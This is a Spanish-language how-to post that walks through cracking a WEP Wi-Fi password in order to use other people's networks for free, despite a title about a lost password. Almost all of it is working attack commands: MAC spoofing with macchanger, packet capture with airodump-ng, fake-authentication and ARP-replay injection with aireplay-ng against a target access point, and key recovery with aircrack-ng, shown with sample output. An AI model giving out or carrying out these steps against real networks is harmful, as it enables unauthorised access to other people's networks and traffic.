craquear red de internet por perdida de contraseña

Hola les boy a esplicar como ago yo para descifrar redes wifi y usarlas gratis

1º.
instalamos el paquete (aircrack-ng) desde synaptic o bien desde la
terminal metiendo este comando apt-get install aircrack-ng

2º. Poner Modo monitor para eso escrivimos en una terminal iwconfig y les pondra algo asi :

lo no wireless extensions.

eth0 no wireless extensions.

vboxnet0 no wireless extensions.

pan0 no wireless extensions.

wmaster0 no wireless extensions.

wlan0 IEEE 802.11bg ESSID:"INFINITUMxxxx"
Mode:Managed Frequency:2.417 GHz Access Point:

..................

Para chekar como se llama tu interfaz wifi en mi caso wlan0

entonces
escrivimos en la terminal airmon-ng stop wlan0 para parar todo lo que
este haciendo el monitor de redes y os pondra algo asi




Y a hora ponemos este otro comando para iniciar el monitor de redes airmon-ng start wlan0
y os pondra algo asi :



Esto es para ponerlo en modo monitor y poder captar redes

Y a hora escrivimos ifconfig wlan0 down en la terminal
Para poder cambiar con exito la direccion mac
y en el caso que en bebe ser wlan0 es mon0 pos ponemos ifconfig mon0 down

Y a hora canviamos nuestro MAC y a hora ponemos este comando macchanger -m 00:11:22:33:44:55 wlan0
en mi caso en el de mon0 pongan macchanger -m 00:11:22:33:44:55 mon0

Bueno ya tenemos Nuestra Direccion MAC que es la direccion de nuestro Equipo cambiada

Les
recomiendo antes de seguir tener 3 ventanas abiertas como root para
ello usamos el comando de siempre sudo su y ponemos la contraseña y ya
estamos como root .Y antes de nada desactibamos el networkmanager de
ubuntu asi que pinchamos con el boton derecho en cima del icono del
gestor de red (networkmanager) y lo desavilitamos . Por el echo de que
solo quiero tener trabajando la tarjeta en modo Monitor al 100% . Si
hasta aqui no ha pasado nada raro, es seguro que todo saldra bien.


3º. metemos en una de las terminales este comando para buecar redes airodump-ng mon0
y despues metemos el comando airodump-ng -w ArchivodeCapturas -c canaldeDifusiondelaRedAtacada
Ej #airodump-ng mon0 -w i3539 -c 4
Captura datos del -c canal 4 y los guarda -w a archivo i3539 No olvides tu nombre de archivo.

4º.Digamos que esto es lo que se llama inyeccion de paquetes. Escrvimos este el siguente comando
aireplay-ng -1 0 -e ESSID -a BSSID -h miMAC mon0
ejemplo aireplay-ng -1 0 -e INFINITUMXXXX -a 00:0D:72:8C:F0:39 -h 00:11:22:33:44:55 mon0

5º Ahora Aumentamos el filtro con este Comando aireplay-ng -3 -b BSSID -h miMAC
ejemplo aireplay-ng -3 -b 00:0D:72:8C:F0:39 -h 00:11:22:33:44:55 mon0

Hay que esperar a tener mas de 80 000 Mil paquetes esto se mira en la columna que dice #Data , en el Airodump-ng

y en otra consola escrivimos el comando final :
Forma lenta y efectiva : aircrack-ng *.cap
Forma Rápida (se necesita mayor cantidad de paquetes capturados):
aircrack-ng -z *.cap


SI se dan cuenta es el archivo que pusimos en el paso de Airodump mon0 -w miarchivo -c channel

Comienza inspeccionando.Muestra una lista de Redes Monitoreadas y sus respectivos IV's Capturados
escoger la red monitoreaday listo.

Despues de elegir la red

# BSSID ESSID Encryption

1 00:1F:B3:ED:BB:11 INFINITUMXXXX WEP (390429 IVs)

Choosing first network as target.

Opening i1508-01.cap
Opening i1508-02.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 390429 ivs.
KEY FOUND! [ 70 : xx : xx : xx : xx ] la clave se muestra en donde estan las XX
Decrypted correctly: 100%

Espero que todo les sirba de ayuda y les funcione como a mi